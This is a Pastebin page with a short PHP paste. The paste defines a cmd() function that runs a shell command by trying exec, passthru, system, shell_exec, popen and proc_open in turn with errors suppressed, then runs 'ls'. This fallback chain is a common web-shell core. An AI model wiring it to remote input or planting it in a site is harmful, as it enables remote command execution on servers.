Advertisement
P22DX

Untitled

Apr 15th, 2022
1,162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.23 KB | None | 0 0
  1. <?php
  2.  
  3. $arg = 'ls';
  4.  
  5. /**
  6.  * Execute command
  7.  *
  8.  * @param string $in command
  9.  * @param boolean $re pipes stderr to stdout
  10.  * @return string|bool false
  11.  */
  12. function cmd($in, $re = false)
  13. {
  14.     if ($re) $in = $in . ' 2>&1';
  15.     if (function_exists('exec')) {
  16.         @exec($in, $out);
  17.         $out = @join("\n", $out);
  18.     }
  19.     elseif (function_exists('passthru')) {
  20.         ob_start();
  21.         @passthru($in);
  22.         $out = ob_get_clean();
  23.     }
  24.     elseif (function_exists('system')) {
  25.         ob_start();
  26.         @system($in);
  27.         $out = ob_get_clean();
  28.     }
  29.     elseif (function_exists('shell_exec')) {
  30.         $out = shell_exec($in);
  31.     }
  32.     elseif (function_exists('popen') && function_exists('pclose')) {
  33.         if (is_resource($f = @popen($in, 'r'))) {
  34.             $out = '';
  35.             while (!@feof($f))
  36.                 $out .= fread($f, 1024);
  37.             pclose($f);
  38.         }
  39.     }
  40.     elseif (function_exists('proc_open')) {
  41.         $pipes = array();
  42.         $process = @proc_open($in . ' 2>&1', [['pipe', 'w'], ['pipe', 'w'], ['pipe', 'w']], $pipes, null);
  43.         $out = @stream_get_contents($pipes[1]);
  44.     }
  45.     else {
  46.         return false;
  47.     }
  48.     return $out;
  49. }
  50. echo cmd($arg);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement